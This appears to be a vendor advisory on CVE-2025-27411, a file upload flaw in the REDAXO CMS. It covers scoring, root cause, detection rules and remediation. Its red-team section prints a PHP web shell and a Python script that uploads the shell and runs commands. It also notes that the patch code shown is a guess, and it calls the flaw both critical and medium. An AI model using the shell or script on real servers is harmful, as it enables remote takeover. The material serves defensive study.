CVE-2025-27411

Executive Summary

CVE-2025-27411 is a critical arbitrary file upload vulnerability discovered in the REDAXO content management system, a PHP-based CMS. The flaw resides in the mediapool/media page, allowing an authenticated attacker with low privileges to upload arbitrary files to the server. This can lead to remote code execution (RCE) if the uploaded file is a web shell or malicious script that can be executed by the web server. The vulnerability has been patched in REDAXO version 5.18.3. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains high due to the potential for complete server compromise.

Supply Chain & Package Security

REDAXO is a PHP-based CMS distributed as a standalone package. The vulnerability is not in a third-party library but in the core application logic. Users should verify the integrity of their REDAXO installation and ensure they are using the official source. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account with media upload permissions.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for RCE elevates the real-world risk. The requirement for authentication reduces the attack surface but does not eliminate it.

Deep Dive & Mechanics

The vulnerability exists in the mediapool/media page of REDAXO. This page is used to manage media files (images, documents, etc.) uploaded by users. The flaw is due to insufficient validation of the file type and content during the upload process.

Root Cause: The application fails to properly check the MIME type, file extension, or file content of uploaded files. An attacker can upload a file with a malicious extension (e.g., .php, .phtml, .shtml) or a file that contains PHP code disguised as an image (e.g., shell.php.jpg). If the web server is configured to execute PHP files in the upload directory, the attacker can achieve remote code execution.

Attack Flow:

1. Authentication: The attacker logs in with a valid REDAXO user account that has permission to access the mediapool.
2. Upload: The attacker navigates to the mediapool upload page and uploads a malicious file (e.g., a PHP web shell).
3. Execution: The attacker accesses the uploaded file directly via its URL (e.g., http://target.com/media/shell.php). The web server executes the PHP code, giving the attacker control over the server.

Impact: Successful exploitation allows the attacker to execute arbitrary PHP code, potentially leading to full server compromise, data theft, defacement, or use of the server for further attacks.

Vulnerable vs. Patched Code

The patch in version 5.18.3 introduces stricter file validation. The exact code changes are not publicly available, but the fix likely includes:

• MIME Type Validation: Checking the MIME type of the uploaded file against a whitelist of allowed types.
• Extension Whitelisting: Only allowing specific file extensions (e.g., .jpg, .png, .gif, .pdf).
• Content Inspection: Using functions like getimagesize() or finfo to verify that the file content matches its extension.
• Directory Permissions: Ensuring the upload directory does not have execute permissions for PHP files.

Vulnerable Code (Conceptual):

// Vulnerable: No validation
$target_file = $upload_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Patched Code (Conceptual):

// Patched: With validation
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
finfo_close($finfo);
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (!in_array($mime_type, $allowed_mime_types)) {
    die("Invalid MIME type.");
}
$target_file = $upload_dir . uniqid() . '.' . $file_extension;
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid REDAXO user account with media upload permissions.
• Target running REDAXO version < 5.18.3.

Exploitation Steps:

1. Prepare a Web Shell: Create a PHP web shell file (e.g., shell.php).

   <?php system($_GET['cmd']); ?>
   

2. Upload the Shell:

   • Log in to REDAXO.
   • Navigate to the mediapool upload page.
   • Upload shell.php (or try double extensions like shell.php.jpg if .php is blocked).

3. Execute Commands:

   • Access the uploaded file: http://target.com/media/shell.php?cmd=id
   • The output of the id command will be displayed.

Automated Exploit (Python):

import requests

target = "http://target.com"
username = "user"
password = "pass"
shell_file = "shell.php"
shell_content = "<?php system($_GET['cmd']); ?>"

# Login
session = requests.Session()
login_data = {"username": username, "password": password}
session.post(f"{target}/redaxo/index.php?page=login", data=login_data)

# Upload shell
files = {"file": (shell_file, shell_content, "application/x-php")}
upload_url = f"{target}/redaxo/index.php?page=mediapool/media"
session.post(upload_url, files=files)

# Execute command
cmd = "id"
response = session.get(f"{target}/media/{shell_file}?cmd={cmd}")
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads, especially files with .php, .phtml, .shtml extensions.
• Look for uploads to the mediapool directory that are not typical media files.
• Check web server logs for requests to /media/*.php or similar patterns.

Hunting:

• Search for files in the media/ directory that have executable extensions.
• Review recent uploads for any that do not match expected MIME types.
• Use file integrity monitoring to detect new files in the upload directory.

Containment:

• Immediately remove any suspicious files from the media directory.
• Disable PHP execution in the upload directory via .htaccess or web server configuration.
• Reset credentials for all users who may have been compromised.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty file)
• File Paths:
  • /var/www/html/media/shell.php
  • /var/www/html/media/evil.php.jpg
• Network Indicators:
  • Outbound connections from the web server to unknown IPs on port 80/443.
  • Requests to /media/*.php?cmd= in web server logs.
• Log Entries:
  • POST /redaxo/index.php?page=mediapool/media with unusual file extensions.
  • GET /media/*.php with query parameters.

Detection Engineering

YARA Rule

rule CVE_2025_27411_REDAXO_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2025-27411"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27411"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
        $passthru_func = "passthru("
        $cmd_param = "$_GET['cmd']"
        $post_param = "$_POST['cmd']"
    condition:
        $php_tag and ($system_func or $shell_func or $exec_func or $passthru_func) and ($cmd_param or $post_param)
}

Sigma Rule

title: CVE-2025-27411 REDAXO Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload PHP files to REDAXO mediapool
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=mediapool/media'
        cs-uri-query|endswith: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads if allowed by admin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27411 REDAXO Arbitrary File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"page=mediapool/media"; http_uri; content:".php"; http_uri; pcre:"/\.php$/U"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade REDAXO: Update to version 5.18.3 or later immediately.
2. Restrict Upload Permissions: Review user roles and ensure only trusted users have media upload access.
3. Disable PHP Execution: Add the following to an .htaccess file in the media/ directory:

   <FilesMatch "\.php$">
       Deny from all
   </FilesMatch>
   

   Or in Apache configuration:

   <Directory /var/www/html/media>
       RemoveHandler .php
       RemoveType .php
   </Directory>
   

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to block malicious file uploads.
• Conduct regular security audits and penetration testing.
• Enable logging and monitoring for file upload activities.
• Follow the principle of least privilege for all user accounts.

Valters IT – Securing your digital frontier.